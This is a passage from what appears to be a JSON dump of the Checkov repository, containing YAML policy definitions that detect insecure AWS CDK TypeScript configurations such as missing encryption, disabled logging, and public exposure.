    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_82\n  name: Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: |\n    new $IMPORT.CfnWorkGroup(<ANY>, <ANY>, $WORKGROUP );\n  conditions:\n    - not_within: |\n        const $WORKGROUP: $IMPORT.CfnWorkGroup.WorkGroupConfigurationProperty = { <ANY>, enforceWorkGroupConfiguration: true, <ANY> };\n        <ANY>\n        const $VAR1 = new $IMPORT.CfnWorkGroup(<ANY>, <ANY>, $WORKGROUP );\n    - not_pattern: |\n        new $IMPORT.CfnWorkGroup(<ANY>, <ANY>, {<ANY>, enforceWorkGroupConfiguration: true });\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/AuroraEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_96\n  name: Ensure all data stored in Aurora is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnDBCluster(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnDBCluster(<ANY>, { <ANY>, storageEncrypted: true ,<ANY>}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/BackupVaultEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_166\n  name: Ensure Backup Vault is encrypted at rest using KMS CMK\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnBackupVault(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnBackupVault(<ANY>, { <ANY>, encryptionKeyArn: $ARG, <ANY>}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/CloudFrontTLS12.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_174\n  name: Verify CloudFront Distribution Viewer Certificate is using TLS v1.2\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: |\n    new $CF.CfnDistribution(<ANY>, <ANY>, $VCP)\n  conditions:\n    - not_pattern: |\n        const $VCP: $CF.CfnDistribution.ViewerCertificateProperty = {  minimumProtocolVersion: 'TLSv1.2'};\n        <ANY>\n    - not_pattern: |\n        const $PROPS: $CF.CfnDistributionProps = { <ANY>, viewerCertificate: { <ANY>, minimumProtocolVersion: 'TLSv1.2' } }\n        <ANY>\n        new CfnDistribution(<ANY>, $PROPS)\n    - not_pattern: |\n        new $CF.CfnDistribution(<ANY>, <ANY>, { <ANY>, viewerCertificate: {<ANY>, minimumProtocolVersion: 'TLSv1.2'} })\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/CloudTrailLogValidation.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_36\n  name: Ensure CloudTrail log file validation is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnTrail(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnTrail(<ANY>, { <ANY>, enableLogFileValidation: true , <ANY>}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/CloudWatchLogGroupKMSKey.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_158\n  name: Ensure that CloudWatch Log Group is encrypted by KMS\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.LogGroup(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.LogGroup(<ANY>, {<ANY>, encryptionKey: new $ENC.Key(<ANY>) , <ANY>}, <ANY>)\n    - not_pattern: |\n        new $AWS.LogGroup(<ANY>, {<ANY>, encryptionKey: $ARG ,<ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/CloudWatchLogGroupRetention.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_66\n  name: Ensure that CloudWatch Log Group specifies retention days\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnLogGroup(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnLogGroup(<ANY>, {<ANY>, retentionInDays: $NUM , <ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/CloudfrontDistributionEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_34\n  name: Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: |\n          new $AWS.CfnDistribution(<ANY>, {distributionConfig: {<ANY>, defaultCacheBehavior: {<ANY>, viewerProtocolPolicy: 'allow-all' , <ANY>} , <ANY>}, <ANY>)\n      - pattern: |\n          new $AWS.Distribution(<ANY>, {<ANY>, defaultBehavior: {<ANY>, viewerProtocolPolicy: $AWS.ViewerProtocolPolicy.ALLOW_ALL ,<ANY>} , <ANY>},<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/CloudfrontDistributionLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_86\n  name: Ensure CloudFront distribution has Access Logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $AWS.Distribution(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Distribution(<ANY>, {<ANY>, enableLogging: true ,<ANY>} ,<ANY>)\n      - pattern: new $AWS.CfnDistribution(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnDistribution(<ANY>, {<ANY>, distributionConfig: {<ANY>, logging: {<ANY>, bucket: $ARG ,<ANY>} ,<ANY>} ,<ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/CloudtrailEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_35\n  name: Ensure CloudTrail logs are encrypted at rest using KMS CMKs\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnTrail(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnTrail(<ANY>, {<ANY>, kmsKeyId: $ARG, <ANY>} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/CloudtrailMultiRegion.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_67\n  name: Ensure CloudTrail is enabled in all Regions\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $AWS.Trail(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Trail(<ANY>, {<ANY>, isMultiRegionTrail: true, <ANY>} ,<ANY>)\n      - pattern: new $AWS.CfnTrail(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnTrail(<ANY>, {<ANY>, isMultiRegionTrail: true, <ANY>} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/CodeBuildProjectEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_78\n  name: Ensure that CodeBuild Project encryption is not disabled\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.Project(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.Project(<ANY>, {<ANY>, encryptionKey: new $ENC.Key(<ANY>) ,<ANY>} , <ANY>)\n    - not_pattern: |\n        new $AWS.Project(<ANY>, {<ANY>, encryptionKey: $ARG ,<ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/DAXEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_47\n  name: Ensure DAX is encrypted at rest (default is unencrypted)\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnCluster(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnCluster(<ANY>, {<ANY>, sseSpecification: {<ANY>, enabled: true ,<ANY>} ,<ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/DMSReplicationInstancePubliclyAccessible.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_89\n  name: DMS replication instance should not be publicly accessible\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: |\n      new $AWS.CfnReplicationInstance(<ANY>, {<ANY>, publiclyAccessible: true, <ANY>}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/DocDBAuditLogs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_104\n  name: Ensure DocumentDB has audit logs enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnDBClusterParameterGroup(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnDBClusterParameterGroup(<ANY>, {<ANY>, parameters: {<ANY>, audit_logs: 'enabled' ,<ANY>}, <ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/DocDBEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_74\n  name: Ensure DocumentDB is encrypted at rest (default is unencrypted)\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnDBCluster(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnDBCluster(<ANY>, {<ANY>, storageEncrypted: true, <ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/DocDBTLS.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_90\n  name: Ensure DocumentDB TLS is not disabled\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: |\n      new $AWS.CfnDBClusterParameterGroup(<ANY>, {<ANY>, parameters: {<ANY>, tls: 'disabled' ,<ANY>}, <ANY>} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/DynamodbGlobalTableRecovery.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_165\n  name: Ensure DynamoDB global table point in time recovery (backup) is enabled\n  category: BACKUP_AND_RECOVERY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnGlobalTable(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnGlobalTable(<ANY>, {<ANY>, pointInTimeRecoverySpecification: {<ANY>, pointInTimeRecoveryEnabled: true ,<ANY>} ,<ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/DynamodbRecovery.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_28\n  name: Ensure DynamoDB point-in-time recovery (backup) is enabled\n  category: BACKUP_AND_RECOVERY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $AWS.CfnTable(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnTable(<ANY>, {<ANY>, pointInTimeRecoverySpecification: {<ANY>, pointInTimeRecoveryEnabled: true ,<ANY>} ,<ANY>} , <ANY>)\n      - pattern: new $AWS.Table(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Table(<ANY>, {<ANY>, pointInTimeRecovery: true ,<ANY>} ,<ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/EBSEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_3\n  name: Ensure all data stored in the EBS is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new $AWS.Volume(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Volume(<ANY>, {<ANY>, encrypted: true ,<ANY>} , <ANY>)\n      - pattern: new $AWS.CfnVolume(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnVolume(<ANY>, {<ANY>, encrypted: true ,<ANY>} , <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/EC2PublicIP.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_88\n  name: EC2 instance should not have public IP\n  category: NETWORKING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: | \n          new $AWS.Instance(<ANY>, { <ANY>, associatePublicIpAddress: true, <ANY> }, <ANY>)\n      - pattern: | \n          new $AWS.LaunchTemplate(<ANY>, { <ANY>, associatePublicIpAddress: true, <ANY> }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ECRImageScanning.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_163\n  name: Ensure ECR image scanning on push is enabled\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: |\n    new $AWS.Repository(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.Repository(<ANY>, { <ANY>, imageScanOnPush: true, <ANY> }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ECRImmutableTags.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_51\n  name: Ensure ECR Image Tags are immutable\n  category: GENERAL_SECURITY\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.Repository(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.Repository(<ANY>, { <ANY>, imageTagMutability: ecr.TagMutability.IMMUTABLE, <ANY> }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ECRRepositoryEncrypted.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_136\n  name: Ensure that ECR repositories are encrypted using KMS\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.Repository(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $ECR.Repository(<ANY>, { <ANY>, encryption: $ECR.RepositoryEncryption.KMS, <ANY> }, <ANY>)\n    - not_pattern: |\n        new $ECR.Repository(<ANY>, { <ANY>, encryptionKey: new $KMS.Key(<ANY>), <ANY> }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ECSClusterContainerInsights.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_65\n  name: Ensure container insights are enabled on ECS cluster\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  patterns:\n    or:\n      - pattern: new ecs.Cluster(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.Cluster(<ANY>, { <ANY>, containerInsights: true, <ANY>}, <ANY>)\n          - not_pattern: |\n              new $AWS.Cluster(<ANY>, { <ANY>, containerInsightsV2: $AWS.ContainerInsights.ENABLED, <ANY>}, <ANY>)\n          - not_pattern: |\n              new $AWS.Cluster(<ANY>, { <ANY>, containerInsightsV2: $AWS.ContainerInsights.ENHANCED, <ANY>}, <ANY>)\n      - pattern: new ecs.CfnCluster(<ANY>)\n        conditions:\n          - not_pattern: |\n              new $AWS.CfnCluster(<ANY>, { <ANY>, clusterSettings: [<ANY>, {name: 'containerInsights', value: 'enabled'}, <ANY>], <ANY>}, <ANY>)\n          - not_pattern: |\n              new $AWS.CfnCluster(<ANY>, { <ANY>, clusterSettings: [<ANY>, {name: 'containerInsights', value: 'enhanced'}, <ANY>], <ANY>}, <ANY>)\n          - not_pattern: |\n              new $AWS.CfnCluster(<ANY>, { <ANY>, clusterSettings: [<ANY>, {value: 'enabled', name: 'containerInsights'}, <ANY>], <ANY>}, <ANY>)\n          - not_pattern: |\n              new $AWS.CfnCluster(<ANY>, { <ANY>, clusterSettings: [<ANY>, {value: 'enhanced', name: 'containerInsights'}, <ANY>], <ANY>}, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/ECSTaskDefinitionEFSVolumeEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_97\n  name: Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: |\n    new $AWS.$FUNC(<ANY>, {<ANY>, volumes: [<ANY>, {<ANY>, efsVolumeConfiguration: {<ANY>, transitEncryption: \"DISABLED\", <ANY>}, <ANY>},<ANY>],<ANY>})\n  conditions:\n    or:\n      - metavariable: $FUNC\n        regex: (TaskDefinition|Ec2TaskDefinition|FargateTaskDefinition|ExternalTaskDefinition)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/EFSEncryptionEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_42\n  name: Ensure EFS is securely encrypted\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.FileSystem(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.FileSystem(<ANY>, { <ANY>, encrypted: true, <ANY> }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/EKSSecretsEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_58\n  name: Ensure EKS Cluster has Secrets Encryption Enabled\n  category: KUBERNETES\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: |\n    new $AWS.CfnCluster(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnCluster(<ANY>, {<ANY>, encryptionConfig: [<ANY>, { <ANY>, resources: ['secrets'], <ANY> }, <ANY>], <ANY> }, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ELBAccessLogs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_92\n  name: Ensure the ELB has access logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.LoadBalancer(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.LoadBalancer(<ANY>, {<ANY>, accessLoggingPolicy: {<ANY>, enabled: true, <ANY>} ,<ANY>})"
  },
  {
    "path": "checkov/cdk/checks/typescript/ELBv2AccessLogs.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_91\n  name: Ensure the ELBv2 (Application/Network) has access logging enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: const $ELB = new $AWS.ApplicationLoadBalancer(<ANY>);\n  conditions:\n    - not_within: |\n        const $ELB = new $AWS.ApplicationLoadBalancer(<ANY>)\n        <ANY>\n        $ELB.logAccessLogs(<ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/ElasticacheReplicationGroupEncryptionAtRest.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_29\n  name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnReplicationGroup(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnReplicationGroup(<ANY>, {<ANY>, atRestEncryptionEnabled: true , <ANY>}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ElasticacheReplicationGroupEncryptionAtTransit.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_30\n  name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnReplicationGroup(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnReplicationGroup(<ANY>, {<ANY>, transitEncryptionEnabled: true , <ANY>}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_31\n  name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.CfnReplicationGroup(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.CfnReplicationGroup(<ANY>, {<ANY>, transitEncryptionEnabled: true, <ANY>, authToken: $VAR, <ANY>}, <ANY>)\n    - not_pattern: |\n        new $AWS.CfnReplicationGroup(<ANY>, {<ANY>, authToken: $VAR, <ANY>, transitEncryptionEnabled: true, <ANY>}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ElasticsearchDomainEnforceHTTPS.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_83\n  name: Ensure Elasticsearch Domain enforces HTTPS\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.Domain(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.Domain(<ANY>, {<ANY>, enforceHttps: true , <ANY>}, <ANY>)"
  },
  {
    "path": "checkov/cdk/checks/typescript/ElasticsearchDomainLogging.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_84\n  name: Ensure Elasticsearch Domain Logging is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  pattern: new $AWS.Domain(<ANY>)\n  conditions:\n    - not_pattern: |\n        new $AWS.Domain(<ANY>, {<ANY>, logging: {<ANY>, appLogEnabled: true, <ANY> }, <ANY>}, <ANY>)\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/ElasticsearchEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_5\n  name: Ensure all data stored in the Elasticsearch is securely encrypted at rest\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_elasticsearch.CfnDomain(<ANY>, <ANY>, { <ANY> });\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_elasticsearch.CfnDomain(<ANY>, <ANY>, { <ANY>, encryptionAtRestOptions: { <ANY>, enabled: true, <ANY> }, <ANY> });\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: \"$X = { <ANY> , enabled: false, <ANY> }\"\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_elasticsearch.CfnDomain.EncryptionAtRestOptionsProperty\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/ElasticsearchNodeToNodeEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_6\n  name: Ensure all Elasticsearch has node-to-node encryption enabled\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_elasticsearch.CfnDomain(<ANY>, <ANY>, { <ANY> });\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_elasticsearch.CfnDomain(<ANY>, <ANY>, { <ANY>, nodeToNodeEncryptionOptions: { <ANY>, enabled: true, <ANY> }, <ANY> });\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: \"$X = { <ANY> , enabled: false, <ANY> }\"\n      conditions:\n        - metavariable: $X\n          type: aws-cdk-lib.aws_elasticsearch.CfnDomain.NodeToNodeEncryptionOptionsProperty"
  },
  {
    "path": "checkov/cdk/checks/typescript/GlueDataCatalogEncryption.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_94\n  name: Ensure Glue Data Catalog Encryption is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_glue.CfnDataCatalogEncryptionSettings(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_glue.CfnDataCatalogEncryptionSettings(<ANY>, <ANY>, { <ANY>, dataCatalogEncryptionSettings: { <ANY>, connectionPasswordEncryption :{ <ANY>, returnConnectionPasswordEncrypted: true , <ANY> }, <ANY>, encryptionAtRest:{ <ANY>, catalogEncryptionMode: \"SSE-KMS\", <ANY> }, <ANY>}, <ANY>})\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: |\n        $X = { <ANY>, dataCatalogEncryptionSettings: { <ANY> }, <ANY> }\n      conditions:\n        - not_pattern: |\n            $X = { <ANY>, dataCatalogEncryptionSettings: { <ANY>, connectionPasswordEncryption: { <ANY>, returnConnectionPasswordEncrypted: true, <ANY> }, <ANY>, encryptionAtRest: { <ANY>, catalogEncryptionMode: \"SSE-KMS\", <ANY> }, <ANY> }, <ANY> }\n        - metavariable: $X\n          type: aws-cdk-lib.aws_glue.CfnDataCatalogEncryptionSettingsProps\n"
  },
  {
    "path": "checkov/cdk/checks/typescript/GlueSecurityConfiguration.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_99\n  name: Ensure Glue Security Configuration Encryption is enabled\n  category: LOGGING\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_glue.CfnSecurityConfiguration(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_glue.CfnSecurityConfiguration(<ANY>, <ANY>, { <ANY>, encryptionConfiguration: { <ANY>, cloudWatchEncryption: { <ANY>, cloudWatchEncryptionMode: 'SSE-KMS', <ANY> }, <ANY>, jobBookmarksEncryption: { <ANY>, jobBookmarksEncryptionMode: 'CSE-KMS', <ANY> },  <ANY>, s3Encryptions: [ <ANY>, { <ANY>, s3EncryptionMode: 'SSE-KMS', <ANY> }, <ANY> ], <ANY> }, <ANY> })\n        - not_pattern: |\n            new $PACKAGE.aws_glue.CfnSecurityConfiguration(<ANY>, <ANY>, { <ANY>, encryptionConfiguration: { <ANY>, cloudWatchEncryption: { <ANY>, cloudWatchEncryptionMode: 'SSE-KMS', <ANY> }, <ANY>, jobBookmarksEncryption: { <ANY>, jobBookmarksEncryptionMode: 'CSE-KMS', <ANY> },  <ANY>, s3Encryptions: [ <ANY>, { <ANY>, s3EncryptionMode: 'SSE-S3', <ANY> }, <ANY> ], <ANY> }, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: \"$X = { <ANY> , encryptionConfiguration: { <ANY> }, <ANY> }\"\n      conditions:\n        - not_pattern: |\n            $X = { <ANY>, encryptionConfiguration: { <ANY>, cloudWatchEncryption: { <ANY>, cloudWatchEncryptionMode: \"SSE-KMS\", <ANY> }, <ANY>, jobBookmarksEncryption: { <ANY>, jobBookmarksEncryptionMode: 'CSE-KMS', <ANY> },  <ANY>, s3Encryptions: [ <ANY>, { <ANY>, s3EncryptionMode: 'SSE-KMS', <ANY> }, <ANY> ], <ANY> }, <ANY> }\n        - not_pattern: |\n            $X = { <ANY>, encryptionConfiguration: { <ANY>, cloudWatchEncryption: { <ANY>, cloudWatchEncryptionMode: 'SSE-KMS', <ANY> }, <ANY>, jobBookmarksEncryption: { <ANY>, jobBookmarksEncryptionMode: 'CSE-KMS', <ANY> },  <ANY>, s3Encryptions: [ <ANY>, { <ANY>, s3EncryptionMode: 'SSE-S3', <ANY> }, <ANY> ], <ANY> }, <ANY> }\n        - metavariable: $X\n          type: aws-cdk-lib.aws_glue.CfnSecurityConfigurationProps"
  },
  {
    "path": "checkov/cdk/checks/typescript/GlueSecurityConfigurationEnabled.yaml",
    "content": "metadata:\n  version: 0.2\n  approach: define failing\n  id: CKV_AWS_195\n  name: Ensure Glue component has a security configuration associated\n  category: ENCRYPTION\n  framework: cdk\nscope:\n  languages:\n    - typescript\ndefinition:\n  or:\n    - pattern: new $PACKAGE.aws_glue.CfnCrawler(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_glue.CfnCrawler(<ANY>, <ANY>, { <ANY>, crawlerSecurityConfiguration: $CON, <ANY> } )\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: new $PACKAGE.aws_glue.CfnDevEndpoint(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_glue.CfnDevEndpoint(<ANY>, <ANY>, { <ANY>, securityConfiguration: $VAL, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE == \"aws-cdk-lib\"\n    - pattern: new $PACKAGE.aws_glue.CfnJob(<ANY>, <ANY>, { <ANY> })\n      conditions:\n        - not_pattern: |\n            new $PACKAGE.aws_glue.CfnJob(<ANY>, <ANY>, { <ANY>, securityConfiguration: $VAL, <ANY> })\n        - metavariable: $PACKAGE\n          comparison: $PACKAGE 